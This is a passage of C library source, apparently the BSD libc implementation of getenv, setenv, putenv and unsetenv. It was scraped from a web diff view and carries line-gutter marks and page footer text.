activeNdx = envVarsTotal - 1;
|
||||
if (__findenv(envVars[envNdx].name, nameLen, &activeNdx,
|
||||
false) == NULL) {
|
||||
__env_warnx(CorruptEnvFindMsg, envVars[envNdx].name,
|
||||
nameLen);
|
||||
errno = EFAULT;
|
||||
goto Failure;
|
||||
}
|
||||
envVars[activeNdx].active = true;
|
||||
}
|
||||
|
||||
/* Create a new environ. */
|
||||
origEnviron = environ;
|
||||
environ = NULL;
|
||||
if (__rebuild_environ(envVarsTotal) == 0)
|
||||
return (0);
|
||||
|
||||
Failure:
|
||||
savedErrno = errno;
|
||||
__clean_env(true);
|
||||
errno = savedErrno;
|
||||
|
||||
return (-1);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Destructor function with default argument to __clean_env().
|
||||
*/
|
||||
static void
|
||||
__clean_env_destructor(void)
|
||||
{
|
||||
__clean_env(true);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Returns the value of a variable or NULL if none are found.
|
||||
*/
|
||||
char *
|
||||
getenv(const char *name)
|
||||
{
|
||||
int envNdx;
|
||||
size_t nameLen;
|
||||
|
||||
/* Check for malformed name. */
|
||||
if (name == NULL || (nameLen = __strleneq(name)) == 0) {
|
||||
errno = EINVAL;
|
||||
return (NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
* An empty environment (environ or its first value) regardless if
|
||||
* environ has been copied before will return a NULL.
|
||||
*
|
||||
* If the environment is not empty, find an environment variable via
|
||||
* environ if environ has not been copied via an *env() call or been
|
||||
* replaced by a running program, otherwise, use the rebuilt
|
||||
* environment.
|
||||
*/
|
||||
if (environ == NULL || environ[0] == NULL)
|
||||
return (NULL);
|
||||
else if (envVars == NULL || environ != intEnviron)
|
||||
return (__findenv_environ(name, nameLen));
|
||||
else {
|
||||
envNdx = envVarsTotal - 1;
|
||||
return (__findenv(name, nameLen, &envNdx, true));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Set the value of a variable. Older settings are labeled as inactive. If an
|
||||
* older setting has enough room to store the new value, it will be reused. No
|
||||
* previous variables are ever freed here to avoid causing a segmentation fault
|
||||
* in a user's code.
|
||||
*
|
||||
* The variables nameLen and valueLen are passed into here to allow the caller
|
||||
* to calculate the length by means besides just strlen().
|
||||
*/
|
||||
static int
|
||||
__setenv(const char *name, size_t nameLen, const char *value, int overwrite)
|
||||
{
|
||||
bool reuse;
|
||||
char *env;
|
||||
int envNdx;
|
||||
int newEnvActive;
|
||||
size_t valueLen;
|
||||
|
||||
/* Find existing environment variable large enough to use. */
|
||||
envNdx = envVarsTotal - 1;
|
||||
newEnvActive = envActive;
|
||||
valueLen = strlen(value);
|
||||
reuse = false;
|
||||
if (__findenv(name, nameLen, &envNdx, false) != NULL) {
|
||||
/* Deactivate entry if overwrite is allowed. */
|
||||
if (envVars[envNdx].active) {
|
||||
if (overwrite == 0)
|
||||
return (0);
|
||||
envVars[envNdx].active = false;
|
||||
newEnvActive--;
|
||||
}
|
||||
|
||||
/* putenv() created variable cannot be reused. */
|
||||
if (envVars[envNdx].putenv)
|
||||
__remove_putenv(envNdx);
|
||||
|
||||
/* Entry is large enough to reuse. */
|
||||
else if (envVars[envNdx].valueSize >= valueLen)
|
||||
reuse = true;
|
||||
}
|
||||
|
||||
/* Create new variable if none was found of sufficient size. */
|
||||
if (! reuse) {
|
||||
/* Enlarge environment. */
|
||||
envNdx = envVarsTotal;
|
||||
if (!__enlarge_env())
|
||||
return (-1);
|
||||
|
||||
/* Create environment entry. */
|
||||
envVars[envNdx].name = malloc(nameLen + sizeof ("=") +
|
||||
valueLen);
|
||||
if (envVars[envNdx].name == NULL) {
|
||||
envVarsTotal--;
|
||||
return (-1);
|
||||
}
|
||||
envVars[envNdx].nameLen = nameLen;
|
||||
envVars[envNdx].valueSize = valueLen;
|
||||
|
||||
/* Save name of name/value pair. */
|
||||
env = stpcpy(envVars[envNdx].name, name);
|
||||
if ((envVars[envNdx].name)[nameLen] != '=')
|
||||
env = stpcpy(env, "=");
|
||||
}
|
||||
else
|
||||
env = envVars[envNdx].value;
|
||||
|
||||
/* Save value of name/value pair. */
|
||||
strcpy(env, value);
|
||||
envVars[envNdx].value = env;
|
||||
envVars[envNdx].active = true;
|
||||
newEnvActive++;
|
||||
|
||||
/* No need to rebuild environ if an active variable was reused. */
|
||||
if (reuse && newEnvActive == envActive)
|
||||
return (0);
|
||||
else
|
||||
return (__rebuild_environ(newEnvActive));
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* If the program attempts to replace the array of environment variables
|
||||
* (environ) environ or sets the first varible to NULL, then deactivate all
|
||||
* variables and merge in the new list from environ.
|
||||
*/
|
||||
static int
|
||||
__merge_environ(void)
|
||||
{
|
||||
char **env;
|
||||
char *equals;
|
||||
|
||||
/*
|
||||
* Internally-built environ has been replaced or cleared (detected by
|
||||
* using the count of active variables against a NULL as the first value
|
||||
* in environ). Clean up everything.
|
||||
*/
|
||||
if (intEnviron != NULL && (environ != intEnviron || (envActive > 0 &&
|
||||
environ[0] == NULL))) {
|
||||
/* Deactivate all environment variables. */
|
||||
if (envActive > 0) {
|
||||
origEnviron = NULL;
|
||||
__clean_env(false);
|
||||
}
|
||||
|
||||
/*
|
||||
* Insert new environ into existing, yet deactivated,
|
||||
* environment array.
|
||||
*/
|
||||
origEnviron = environ;
|
||||
if (origEnviron != NULL)
|
||||
for (env = origEnviron; *env != NULL; env++) {
|
||||
if ((equals = strchr(*env, '=')) == NULL) {
|
||||
__env_warnx(CorruptEnvValueMsg, *env,
|
||||
strlen(*env));
|
||||
errno = EFAULT;
|
||||
return (-1);
|
||||
}
|
||||
if (__setenv(*env, equals - *env, equals + 1,
|
||||
1) == -1)
|
||||
return (-1);
|
||||
}
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* The exposed setenv() that peforms a few tests before calling the function
|
||||
* (__setenv()) that does the actual work of inserting a variable into the
|
||||
* environment.
|
||||
*/
|
||||
int
|
||||
setenv(const char *name, const char *value, int overwrite)
|
||||
{
|
||||
size_t nameLen;
|
||||
|
||||
/* Check for malformed name. */
|
||||
if (name == NULL || (nameLen = __strleneq(name)) == 0) {
|
||||
errno = EINVAL;
|
||||
return (-1);
|
||||
}
|
||||
|
||||
/* Initialize environment. */
|
||||
if (__merge_environ() == -1 || (envVars == NULL && __build_env() == -1))
|
||||
return (-1);
|
||||
|
||||
return (__setenv(name, nameLen, value, overwrite));
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Insert a "name=value" string into the environment. Special settings must be
|
||||
* made to keep setenv() from reusing this memory block and unsetenv() from
|
||||
* allowing it to be tracked.
|
||||
*/
|
||||
int
|
||||
putenv(char *string)
|
||||
{
|
||||
char *equals;
|
||||
int envNdx;
|
||||
int newEnvActive;
|
||||
size_t nameLen;
|
||||
|
||||
/* Check for malformed argument. */
|
||||
if (string == NULL || (equals = strchr(string, '=')) == NULL ||
|
||||
(nameLen = equals - string) == 0) {
|
||||
errno = EINVAL;
|
||||
return (-1);
|
||||
}
|
||||
|
||||
/* Initialize environment. */
|
||||
if (__merge_environ() == -1 || (envVars == NULL && __build_env() == -1))
|
||||
return (-1);
|
||||
|
||||
/* Deactivate previous environment variable. */
|
||||
envNdx = envVarsTotal - 1;
|
||||
newEnvActive = envActive;
|
||||
if (__findenv(string, nameLen, &envNdx, true) != NULL) {
|
||||
/* Reuse previous putenv slot. */
|
||||
if (envVars[envNdx].putenv) {
|
||||
envVars[envNdx].name = string;
|
||||
return (__rebuild_environ(envActive));
|
||||
} else {
|
||||
newEnvActive--;
|
||||
envVars[envNdx].active = false;
|
||||
}
|
||||
}
|
||||
|
||||
/* Enlarge environment. */
|
||||
envNdx = envVarsTotal;
|
||||
if (!__enlarge_env())
|
||||
return (-1);
|
||||
|
||||
/* Create environment entry. */
|
||||
envVars[envNdx].name = string;
|
||||
envVars[envNdx].nameLen = -1;
|
||||
envVars[envNdx].value = NULL;
|
||||
envVars[envNdx].valueSize = -1;
|
||||
envVars[envNdx].putenv = true;
|
||||
envVars[envNdx].active = true;
|
||||
newEnvActive++;
|
||||
|
||||
return (__rebuild_environ(newEnvActive));
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Unset variable with the same name by flagging it as inactive. No variable is
|
||||
* ever freed.
|
||||
*/
|
||||
int
|
||||
unsetenv(const char *name)
|
||||
{
|
||||
int envNdx;
|
||||
size_t nameLen;
|
||||
|
||||
/* Check for malformed name. */
|
||||
if (name == NULL || (nameLen = __strleneq(name)) == 0) {
|
||||
errno = EINVAL;
|
||||
return (-1);
|
||||
}
|
||||
|
||||
/* Initialize environment. */
|
||||
if (__merge_environ() == -1 || (envVars == NULL && __build_env() == -1))
|
||||
return (-1);
|
||||
|
||||
/* Deactivate specified variable. */
|
||||
envNdx = envVarsTotal - 1;
|
||||
if (__findenv(name, nameLen, &envNdx, true) != NULL) {
|
||||
envVars[envNdx].active = false;
|
||||
if (envVars[envNdx].putenv)
|
||||
__remove_putenv(envNdx);
|
||||
__rebuild_environ(envActive - 1);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user